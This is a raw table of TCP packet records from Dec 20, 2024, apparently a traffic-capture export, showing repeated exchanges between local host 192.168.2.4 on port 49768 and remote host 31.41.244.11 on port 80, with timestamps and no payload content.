Dec 20, 2024 11:12:14.447958946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.447966099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.448007107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.449007034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.449052095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.449135065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.449174881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.450088024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.450129032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.450211048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.450252056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.451183081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.451236010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.451288939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.451328993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.452269077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.452311993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.452328920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.452369928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.453337908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.453378916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.453555107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.453596115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.454449892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.454493999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.454536915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.454576969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.455537081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.455579996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.455590963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.455635071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.456617117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.456660032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.456778049 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.456818104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.457698107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.457741022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.457865953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.457906961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.459065914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.459083080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.459106922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.459120989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.459851027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.459898949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.459944010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.459985018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.460954905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.460998058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.461067915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.461110115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.462070942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.462112904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.462202072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.462241888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.463182926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.463226080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.463268995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.463315964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.464209080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.464251995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.464318037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.464360952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.465320110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.465375900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.465446949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.465492964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.466387033 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.466442108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.466577053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.466623068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.467482090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.467530966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.467573881 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.467619896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.468596935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.468642950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.468728065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.468789101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.469686985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.469736099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.469822884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.469865084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.470748901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.470797062 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.470848083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.470892906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.471836090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.471879005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.471959114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.472001076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.472923994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.472964048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.473074913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.473112106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.474031925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.474076986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.474239111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.474272966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.475120068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.475163937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.475193024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.475233078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.476197958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.476243019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.476268053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.476306915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.477273941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.477310896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.477396011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.477436066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.478347063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.478384018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.478445053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.478497982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.479455948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.479506969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.479535103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.479573965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.615658045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.615684986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.615747929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.615768909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.615995884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.616028070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.616051912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.616070032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.617007017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.617053986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.617122889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.617172003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.618081093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.618125916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.618243933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.618288040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.619163036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.619209051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.619298935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.619343996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.620326042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.620373964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.620399952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.620443106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.621403933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.621447086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.621632099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.621676922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.622478008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.622518063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.622576952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.622620106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.623558998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.623600960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.623622894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.623666048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.624638081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.624695063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.624762058 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.624808073 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.625778913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.625823975 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.625983000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.626029015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.626794100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.626841068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.626863956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.626907110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.627906084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.627950907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.628010988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.628056049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.628941059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.628983974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.629061937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.629102945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.630091906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.630139112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.630162001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.630204916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.631186962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.631233931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.631330013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.631375074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.632241964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.632286072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.632486105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.632530928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.633290052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.633336067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.633354902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.633399963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.634382963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.634433985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.634463072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.634505033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.635483980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.635529995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.635581970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.635623932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.636553049 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.636598110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.636636972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.636681080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.637634993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.637677908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.637756109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.637798071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.638745070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.638787031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.638816118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.638860941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.639831066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.639873981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.639945984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.639991999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.640904903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.640953064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.641030073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.641073942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.642074108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.642119884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.642187119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.642230034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.643136024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.643181086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.643198013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.643241882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.644203901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.644248962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.644284010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.644329071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.645292044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.645344973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.645385027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.645428896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.646377087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.646421909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.646497965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.646542072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.647483110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.647527933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.647598982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.647641897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.648509979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.648556948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.648592949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.648633957 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.649600983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.649645090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.649728060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.649770021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.650732040 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.650774956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.650810003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.650855064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.651783943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.651827097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.651875019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.651917934 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.652868032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.652911901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.652981997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.653023005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.653944016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.653987885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.654056072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.654098988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.655031919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.655076027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.655122995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.655167103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.656158924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.656204939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.656250954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.656301022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.657229900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.657273054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.657320023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.657362938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.658335924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.658380032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.658416986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.658459902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.659429073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.659472942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.659550905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.659594059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.660479069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.660521030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.660608053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.660645962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.661587000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.661633968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.661662102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.661705971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.662667036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.662708044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.662750959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.662794113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.663736105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.663783073 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.663814068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.663856030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.664835930 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.664880037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.664918900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.664962053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.665921926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.665970087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.666054964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.666098118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.667033911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.667051077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.667077065 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.667089939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.668072939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.668112993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.668205023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.668247938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.669187069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.669229031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.669290066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.669336081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.670265913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.670309067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.670389891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.670429945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.671449900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.671494007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.671571016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.671614885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.672370911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.672413111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.807710886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.807737112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.807923079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.807923079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.808171034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.808193922 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.808227062 CET	49768	80	192.168.2.4	31.41.244.11
